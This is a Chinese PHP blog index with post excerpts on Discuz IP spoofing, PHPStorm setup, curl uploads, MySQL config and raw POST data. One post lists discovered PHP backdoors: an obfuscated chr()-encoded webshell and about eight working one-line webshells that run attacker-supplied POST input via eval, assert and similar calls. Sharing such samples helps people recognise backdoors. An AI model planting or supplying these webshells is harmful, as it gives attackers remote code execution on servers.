php开发

Discuz获取IP的bug问题分析,坑爹的玩意

discuz的获取IP的方法是如下代码,每个版本位置不同,2.5的版本在 \source\class\discuz\discuz_application.php:


	private function _get_client_ip() {
		$ip = $_SERVER['REMOTE_ADDR'];
		if (isset($_SERVER['HTTP_CLIENT_IP']) 
&& preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_CLIENT_IP'])) {
			$ip = $_SERVER['HTTP_CLIENT_IP'];
		} elseif(isset($_SERVER['HTTP_X_FORWARDED_FOR']) 
AND preg_match_all('#\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}#s', 
$_SERVER['HTTP_X_FORWARDED_FOR'], $matches)) {
			foreach ($matches[0] AS $xip) {
				if (!preg_match('#^(10|172\.16|192\.168)\.#',
 $xip)) {
					$ip = $xip;
					break;
				}
			}
		}
		return $ip;
	}
这个代码获取IP有问题,为什么说获取有问题呢,因为以上代码是可以通过CURL伪造的:

» 阅读全文

关键词: ip的bug , discuz

发现一些 php 的后门,给大家 see see

发现一个 php 的后门,给大家 see see,

其实一般,不过不容易发现。

<?php $_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();?>


这么 low 的代码,我的就不说了,解码下就行了。


<?php $_GET['ts7']($_POST['cmd']);>

${@print(eval($_POST[c]))}

<!--?php $lang = (string)key($_POST);$lang($_POST['sz']); ?-->

<?php $k="ass"."ert"; $k(${"_PO"."ST"} ['8']);?> 

123<?phpif(key($_GET)=='1')call_user_func($_GET['1'],$_POST['1']);?>123

123<?php@preg_replace("/[email]/e",$_POST['h'],"error");?>123
<?php @$a=str_rot13('nffreg');@$a($_POST['x']);?>

PHPStorm在Mac系统提示您需要安装旧 Java SE 6 运行环境的解决办法

PHPStorm在Mac系统提示您需要安装旧 Java SE 6 运行环境的解决办法

因为需要开发某些东西的缘故,给我的Mac系统安装的是jdk 1.7 版本,但是等我下载phpstrom这货的时候,竟然提示

Mac系统

您需要安装旧 Java SE 6 运行环境才能打开PHPStorm。

提示这个错误,主要是缺少JAVA SE6的环境,可以通过:

1)下载JAVA SDK6(http://support.apple.com/kb/DL1572?viewlocale=zh_CN&locale=en_US),但是我我已经安装了java SDK 7了,不想再折腾了。


» 阅读全文

关键词: javasdk , phpstrom

php利用curl上传文件代码

php利用curl上传文件代码

<?php
    $ch=curl_init('http://localhost/post.php');    
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

    // localhost:8888是fiddler的代理,设置此选项用于让fiddler抓获post的请求

» 阅读全文

关键词: curl上传

有点lower的mysql数据库操作类

有点lower的mysql数据库操作类
<?php   
    $db_config["hostname"] = "localhost"; //服务器地址  
    $db_config["username"] = "root"; //数据库用户名  
    $db_config["password"] = "123"; //数据库密码  
    $db_config["database"] = "test"; //数据库名称  
    $db_config["charset"] = "utf8";//数据库编码  
    $db_config["pconnect"] = 1;//开启持久连接  
    $db_config["log"] = 1;//开启日志  
    $db_config["logfilepath"] = './';//开启日志  
?>

class类

» 阅读全文

关键词: mysql操作类 , mysql数据库

php通过CURL抓取微信文章浏览量和微信文章点赞数的

这篇日志被加密了,请输入密码后查看。

总结下PHP获取Post的原始数据几种方法

总结下PHP获取Post的原始数据几种方法

方法一:$_POST

$_POST['paramName'] 只能接收Content-Type: application/x-www-form-urlencoded提交的数据

方法: 使用全局变量$GLOBALS['HTTP_RAW_POST_DATA']来获取。

      在$GLOBALS['HTTP_RAW_POST_DATA']存放的是POST过来的原始数据。而$_POST或$_REQUEST存放的是PHP以 key=>value的形式格式化以后的数据。 但$GLOBALS['HTTP_RAW_POST_DATA']中是否保存POST过来的数据取决于centent-Type的设置,即post数据时 必须显式示指明Content-Type: application/x-www-form-urlencoded,POST的数据才会存放到 $GLOBALS['HTTP_RAW_POST_DATA']中。

» 阅读全文

关键词: post数据

LocalResizeIMG前端HTML5本地压缩图片上传,兼容移动设备IOS,android

localresizeimg-概述

  • 通常压缩图片需要上传到后端,由后端处理。
  • 但是如果要上传的图片很大,特别是手机当场拍摄下来的照片(约2M+),那样效率会很低,用户也不会愿意等待。
  • 现在能够由前端本地压缩的话,效率将会极大的提升。


这个玩意很强大的地方就在于他可以在HTML5 前端压缩 ,大大加快了上传速度,以及节约流量。

直接上写好的demo了

» 阅读全文

关键词: 移动端上传图片 , localresizeimg